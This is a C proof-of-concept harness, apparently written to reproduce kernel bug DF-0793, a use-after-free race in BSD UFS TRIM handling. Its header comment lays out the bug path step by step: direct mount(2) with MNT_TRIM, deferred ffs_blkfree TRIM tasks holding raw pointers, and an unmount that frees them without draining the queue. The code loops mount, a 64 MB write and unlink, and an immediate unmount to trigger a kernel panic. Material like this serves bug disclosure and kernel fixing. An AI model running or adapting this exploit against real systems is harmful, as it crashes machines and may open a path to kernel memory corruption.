/*
 * DF-0793 reproduction harness.
 *
 * Strategy:
 *   The kernel mount(2) syscall sets MNT_TRIM on the mount WITHOUT checking
 *   that the backing device supports TRIM (only the *userland* mount_ufs
 *   gates on kern.cam.da.*.trim_enabled -- sbin/mount_ufs/mount_ufs.c:101).
 *   So we mount /dev/vn0 as "ufs" with MNT_TRIM directly via the syscall,
 *   which makes ffs_blkfree() take the TRIM path:
 *
 *     ffs_blkfree (ffs_alloc.c:1667) -> kmalloc ffs_blkfree_trim_params storing
 *     RAW ip->i_fs / ip->i_devvp / ip->i_dev (no vref/vfs_ref) ->
 *     vn_strategy(devvp, FREEBLKS bio, bio_done=ffs_blkfree_trim_completed) ->
 *     completion -> taskqueue_enqueue(taskqueue_swi, ffs_blkfree_trim_task) ->
 *     [DEFERRED] ffs_blkfree_cg(tp->i_fs, tp->i_devvp, ...) derefs the 3 ptrs.
 *
 *   ffs_unmount (ffs_vfsops.c:824) does ffs_flushfiles -> vinvalbuf/VOP_CLOSE/
 *   vrele/kfree(fs)/kfree(ump) with NO taskqueue_drain(taskqueue_swi) of the
 *   pending TRIM tasks.  If we delete a large file (many ffs_blkfree ->
 *   many enqueued swi tasks) and immediately unmount, umount frees fs/ump/
 *   devvp while swi tasks are still pending -> the next ffs_blkfree_trim_task
 *   dereferences freed M_UFSMNT heap / freed device vnode -> UAF panic.
 */

#include <sys/param.h>
#include <sys/mount.h>
#include <sys/ucred.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#ifndef MNT_TRIM
#define MNT_TRIM 0x01000000
#endif

/* Mirror of kernel struct ufs_args (sys/vfs/ufs/ufsmount.h:39).
 * export_args is provided by <sys/mount.h>.  We define this locally to
 * avoid depending on ufs/ufs/ufsmount.h being installed in the guest. */
struct ufs_args {
	char	*fspec;
	struct	export_args export;
};

#define MNTPT "/mnt/df0793"
#define BIGFILE MNTPT "/blob"
#define DEV "/dev/vn0"

static void fill_then_delete(void)
{
	int fd;
	char buf[8192];
	long i, n;
	ssize_t w;

	memset(buf, 'A', sizeof(buf));
	fd = open(BIGFILE, O_RDWR | O_CREAT | O_TRUNC, 0644);
	if (fd < 0)
		err(1, "open %s", BIGFILE);
	/* ~64 MB of data => many full-block frees on unlink */
	n = (64L * 1024 * 1024) / sizeof(buf);
	for (i = 0; i < n; i++) {
		w = write(fd, buf, sizeof(buf));
		if (w != (ssize_t)sizeof(buf)) {
			/* fs full is fine */
			break;
		}
	}
	fsync(fd);
	close(fd);
	/* unlink generates the ffs_blkfree() TRIM calls + swi tasks */
	if (unlink(BIGFILE) != 0)
		warn("unlink %s", BIGFILE);
}

int main(int argc, char **argv)
{
	struct ufs_args args;
	int loops = 50;
	int i;

	if (argc > 1)
		loops = atoi(argv[1]);

	mkdir(MNTPT, 0755);

	for (i = 0; i < loops; i++) {
		memset(&args, 0, sizeof(args));
		args.fspec = __DECONST(char *, DEV);
		args.export.ex_root = -2;
		args.export.ex_flags = 0;

		/* direct mount(2) with MNT_TRIM -- bypasses userland da-only check */
		if (mount("ufs", MNTPT, MNT_TRIM, &args) != 0) {
			err(1, "mount ufs+trim iteration %d", i);
		}
		printf("[%d] mounted ufs+trim OK; fill+delete+umount\n", i);
		fflush(stdout);

		fill_then_delete();

		/* RACE: unmount frees fs/ump/devvp while swi TRIM tasks pending */
		if (unmount(MNTPT, 0) != 0) {
			warn("unmount iteration %d", i);
			/* retry with force */
			if (unmount(MNTPT, MNT_FORCE) != 0)
				err(1, "unmount force iteration %d", i);
		}
	}
	printf("DONE %d loops with no panic\n", loops);
	return 0;
}
